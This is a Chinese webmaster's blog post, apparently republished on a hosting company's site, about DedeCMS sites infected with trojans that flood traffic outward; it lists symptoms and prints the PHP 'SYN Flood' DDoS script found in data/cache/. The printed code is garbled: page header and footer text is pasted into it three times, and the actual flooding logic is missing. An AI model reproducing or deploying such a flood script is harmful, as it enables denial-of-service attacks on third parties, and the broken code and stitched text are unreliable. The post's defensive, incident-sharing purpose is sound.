到年底了，不知不觉过的太快了，最近俺的几个网站受到了机房的严重警告，让我意想不到的是，机房那面竟然说我的网站被挂马了，网站流量总是不断的往外发包，怎么也想不通，网站都稳定运行了好几年了，从没遇到过被挂马这一说，于是我整整工作了三天三夜终于把问题的根源找到了，也是本文的标题 “dedecms ddos挂马漏洞的解决办法”所要讲的。下面我给大家详细的介绍一下我的解决办法，希望遇到这种情况的站长童鞋们，遇到这种问题也能迎刃而解。 Dedecms是国内最有名的php开源系统，也是我用的最多的一个系统，简单实用稳定是我使用了多年的理由，正因为dedecms的开源，也导致了很多黑客盯上了这个程序，没日没夜的研究dedecms的漏洞，也就在最近终于爆发了，很多dedecms的网站都被挂马了，有的被机房警告，重的被机房强行关站，数不胜数。我想说的是既然问题出现了我们就要去解决，只有解决了，你的网站才会长期稳定发展下去。 首先从问题的特征跟大家一一介绍。 被挂马的特征：打开自己的网站首页，用查看源代码的方式会发现自己的网站被增加了许许多多的黑链代码，黑链代码是最简单也最能让站长们看出来的，他无非就是友情链接的代码。 再一个特征就是打开网站会被360安全提示网站存在挂马风险，这一类型的挂马代码，一般是框架代码或者是js代码或者是图片代码，还有个特征就是网站会突然打不开或者打开慢，检查流量会发现自己占用了许多流量，也就是说流量往外发包的特征，也叫UDP 流量发包攻击。以上就是dedecms被挂马的大体特征，下面就讲点实际的，网站被挂马的解决办法和预防措施。 首先把网站程序的代码下载到自己的本地，用sinesafe木马清除工具检测了一下，发现data/cache/目录下有许多脚本木马，打开木马脚本发现了一些不认识的PHP代码，把代码放到sinesafe木马工具里深度剖析了一下发现了木马特征，代码如下： <?php set_time_limit(984918); $host =
分享dedecms DDOS挂马漏洞的解决方法 - 凌众科技
快速业务通道
分享dedecms DDOS挂马漏洞的解决方法
作者 佚名
来源 网络推广
浏览
发布时间 2012-02-10
|
| content |
凌众科技专业提供服务器租用、服务器托管、企业邮局、虚拟主机等服务，公司网站：http://www.lingzhong.cn
为了给广大客户了解更多的技术信息，本技术文章收集来源于网络,凌众科技尊重文章作者的版权，如果有涉及你的版权有必要删除你的文章，请和我们联系。以上信息与文章正文是不可分割的一部分,如果您要转载本文章,请保留以上信息，谢谢!
|
|
|
GET['host']; $port =
分享dedecms DDOS挂马漏洞的解决方法 - 凌众科技
快速业务通道
分享dedecms DDOS挂马漏洞的解决方法
作者 佚名
来源 网络推广
浏览
发布时间 2012-02-10
|
| content |
凌众科技专业提供服务器租用、服务器托管、企业邮局、虚拟主机等服务，公司网站：http://www.lingzhong.cn
为了给广大客户了解更多的技术信息，本技术文章收集来源于网络,凌众科技尊重文章作者的版权，如果有涉及你的版权有必要删除你的文章，请和我们联系。以上信息与文章正文是不可分割的一部分,如果您要转载本文章,请保留以上信息，谢谢!
|
|
|
GET['port']; $exec_time =
分享dedecms DDOS挂马漏洞的解决方法 - 凌众科技
快速业务通道
分享dedecms DDOS挂马漏洞的解决方法
作者 佚名
来源 网络推广
浏览
发布时间 2012-02-10
|
| content |
凌众科技专业提供服务器租用、服务器托管、企业邮局、虚拟主机等服务，公司网站：http://www.lingzhong.cn
为了给广大客户了解更多的技术信息，本技术文章收集来源于网络,凌众科技尊重文章作者的版权，如果有涉及你的版权有必要删除你的文章，请和我们联系。以上信息与文章正文是不可分割的一部分,如果您要转载本文章,请保留以上信息，谢谢!
|
|
|
GET['time']; $Sendlen = 65535; $packets = 0; } echo "================================================<br>"; echo " <font color=blue>www.phpddos.com<br>"; echo " SYN Flood 模块<br>"; echo " 作者：ybhacker<br>"; echo " 警告：本程序带有攻击性,仅供安全研究与教学之用,风险自负!</font><br>"; echo "================================================<br><br>"; echo " 攻击包总数：<font color=Red><span class=\"text\">".$packets." 个数据包</span><br><br></font>"; echo " 攻击总流量：<font color=Red><span class=\"text\">".round(($packets*65*8)/(1024*1024),2)." Mbps</span><br><br></font>"; echo " 攻击总字节：<font color=Red><span class=\"text\">".time('h:i:s')." 字节</span><br><br></font>"; echo "Packet complete at ".time('h:i:s')." with $packets (" .round(($packets*65*8)/(1024*1024),2). " Mbps) packets averaging ". round($packets/$exec_time, 2) . " packets/s \n"; ?>
|
